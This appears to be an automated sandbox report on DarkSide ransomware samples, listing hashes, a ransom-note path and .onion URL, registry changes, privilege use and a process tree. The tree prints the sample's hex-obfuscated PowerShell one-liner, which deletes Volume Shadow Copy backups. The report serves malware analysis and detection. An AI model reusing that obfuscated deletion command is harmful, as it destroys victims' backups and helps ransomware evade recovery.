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Overview
overview
10Static
static
717139a10fd...61.exe
windows7-x64
1017139a10fd...61.exe
windows10-2004-x64
101cc7c198a8...cb.exe
windows7-x64
101cc7c198a8...cb.exe
windows10-2004-x64
10243dff06fc...60.exe
windows7-x64
10243dff06fc...60.exe
windows10-2004-x64
1027214dcb04...8f.exe
windows7-x64
1027214dcb04...8f.exe
windows10-2004-x64
103dabd40d56...a6.exe
windows7-x64
33dabd40d56...a6.exe
windows10-2004-x64
343e61519be...aa.exe
windows7-x64
1043e61519be...aa.exe
windows10-2004-x64
1048a848bc9e...3a.exe
windows7-x64
1048a848bc9e...3a.exe
windows10-2004-x64
10508dd6f7ed...dd.exe
windows7-x64
10508dd6f7ed...dd.exe
windows10-2004-x64
10516664139b...4b.exe
windows7-x64
3516664139b...4b.exe
windows10-2004-x64
10533672da9d...8d.exe
windows7-x64
10533672da9d...8d.exe
windows10-2004-x64
106228f75f52...ff.exe
windows7-x64
106228f75f52...ff.exe
windows10-2004-x64
106836ec8588...d8.exe
windows7-x64
36836ec8588...d8.exe
windows10-2004-x64
368872cc22f...e7.exe
windows7-x64
1068872cc22f...e7.exe
windows10-2004-x64
10691515a485...a5.exe
windows7-x64
10691515a485...a5.exe
windows10-2004-x64
1078782fd324...34.exe
windows7-x64
1078782fd324...34.exe
windows10-2004-x64
108cfd289118...bc.exe
windows7-x64
108cfd289118...bc.exe
windows10-2004-x64
10Resubmissions
27/01/2024, 19:37
240127-yb5pksafd3 1027/01/2024, 19:36
240127-ybqwesafc2 1012/05/2021, 15:56
210512-db4t7vmwas 10Analysis
-
max time kernel
120s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
27/01/2024, 19:36
Behavioral task
behavioral1
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
17139a10fd226d01738fe9323918614aa913b2a50e1a516e95cced93fa151c61.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
1cc7c198a8a2c935fd6f07970479e544f5b35a8eb3173de0305ebdf76a0988cb.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win7-20231129-en
Behavioral task
behavioral6
Sample
243dff06fc80a049f4fb37292f8b8def0fce29768f345c88ee10699e22b0ae60.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
27214dcb04310040c38f8d6a65fe03c14b18d4171390da271855fdd02e06768f.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
3dabd40d564cf8a8163432abc38768b0a7d45f0fc1970d802dc33b9109feb6a6.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
43e61519be440115eeaa3738a0e4aa4bb3c8ac5f9bdfce1a896db17a374eb8aa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
48a848bc9e0f126b41e5ca196707412c7c40087404c0c8ed70e5cee4a418203a.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral17
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
516664139b0ddd044397a56482d7308d87c213c320a3151ccb9738e8f932654b.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral19
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
533672da9d276012ebab3ce9f4cd09a7f537f65c6e4b63d43f0c1697e2f5e48d.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win7-20231129-en
Behavioral task
behavioral22
Sample
6228f75f52fd69488419c0e0eb3617b5b894a566a93e52b99a9addced7364cff.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
6836ec8588b8049bcd57cd920b7a75f1e206e5e8bb316927784afadb634ea4d8.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
6836ec8588b8049bcd57cd920b7a75f1e206e5e8bb316927784afadb634ea4d8.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
691515a485b0b3989fb71c6807e640eeec1a0e30d90500db6414035d942f70a5.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Resource
win7-20231215-en
Behavioral task
behavioral30
Sample
78782fd324bc98a57274bd3fff8f756217c011484ebf6b614060115a699ee134.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral31
Sample
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Resource
win7-20231215-en
Behavioral task
behavioral32
Sample
8cfd28911878af048fb96b6cc0b9da770542576d5c2b20b193c3cfc4bde4d3bc.exe
Resource
win10v2004-20231222-en
General
-
Target
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe
-
Size
59KB
-
MD5
69ec3d1368adbe75f3766fc88bc64afc
-
SHA1
11936a92144ef1b53eef16566a57b9052d173291
-
SHA256
508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add
-
SHA512
58f0f04cb05221e9a50eab89924c45bccc15045e9552e10f39ebbb651eddc5d4fafd95a1ba80f4a6ab8d23c4d3dfff7669e2499650b328420c766cae82e439e8
-
SSDEEP
768:TTjagICPhDt3bS4nyz2CuwSbV5dNcxGV1ylQ+IxGY23W5o:BpDtG4nMpboDTV1ylnIfZ5
Malware Config
Extracted
C:\Users\Admin\README.47246f95.TXT
darkside
http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3
Signatures
-
DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
-
Renames multiple (162) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Sets desktop wallpaper using registry 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\47246f95.BMP" 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\47246f95.BMP" 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe -
Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Control Panel\Desktop\WallpaperStyle = "10" 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe -
Modifies registry class 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\47246f95 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\47246f95.ico" 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.47246f95\ = "47246f95" 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\47246f95\DefaultIcon 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 2148 powershell.exe 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe -
Suspicious use of AdjustPrivilegeToken 24 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeSecurityPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeTakeOwnershipPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeLoadDriverPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeSystemProfilePrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeSystemtimePrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeProfSingleProcessPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeIncBasePriorityPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeCreatePagefilePrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeBackupPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeRestorePrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeShutdownPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeDebugPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeSystemEnvironmentPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeRemoteShutdownPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeUndockPrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeManageVolumePrivilege 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: 33 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: 34 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: 35 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe Token: SeDebugPrivilege 2148 powershell.exe Token: SeBackupPrivilege 2792 vssvc.exe Token: SeRestorePrivilege 2792 vssvc.exe Token: SeAuditPrivilege 2792 vssvc.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1108 wrote to memory of 2148 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe 30 PID 1108 wrote to memory of 2148 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe 30 PID 1108 wrote to memory of 2148 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe 30 PID 1108 wrote to memory of 2148 1108 508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe 30 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"C:\Users\Admin\AppData\Local\Temp\508dd6f7ed6c143cf5e1ed6a4051dd8ee7b5bf4b7f55e0704d21ba785f2d5add.exe"1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1108 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2148
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2792
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize344B
MD5542dff4fa24ce5974d2d39ba7a7b436b
SHA15c51ec55a60eae04007f195ccafc3ea7f0729a76
SHA256011b1da9726ec68fcafa22180853bf658335be6d4d95f96b6160a93c268815bb
SHA512633d55fa96268c107c5bbe4d0834274fd50b2c6cbee018efc84aa0919984f1f91616b9d056c73fce9daee84bf8a6d63990da4e1bee87274c4250f941a2f3b399
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Filesize
65KB
MD5ac05d27423a85adc1622c714f2cb6184
SHA1b0fe2b1abddb97837ea0195be70ab2ff14d43198
SHA256c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d
SHA5126d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d
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Filesize
171KB
MD59c0c641c06238516f27941aa1166d427
SHA164cd549fb8cf014fcd9312aa7a5b023847b6c977
SHA2564276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f
SHA512936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize7KB
MD5ba6dcaf77af148c4c28ae2c35d5b460e
SHA15f8052a090b8e101b714f4935da14e6da83ed8d5
SHA256094e3004738883e972ca1f380e6fbc212c0bbfcc89538f198a42c43ea2c1ee4f
SHA512da0f4e5a0c18e78875a3fee4b3bb258fd7d6f7afe067c6d7cbce00f8870b1c2cfd264bbeabd3f1c2a6ddf1e726561803db095c83a35ad480336cb1dad527b71c
-
Filesize
1KB
MD5f418a249405444da33cc73b402a26306
SHA11a6c493e74036f93f0dae4b65e6c543c213ce418
SHA256b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09
SHA512b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf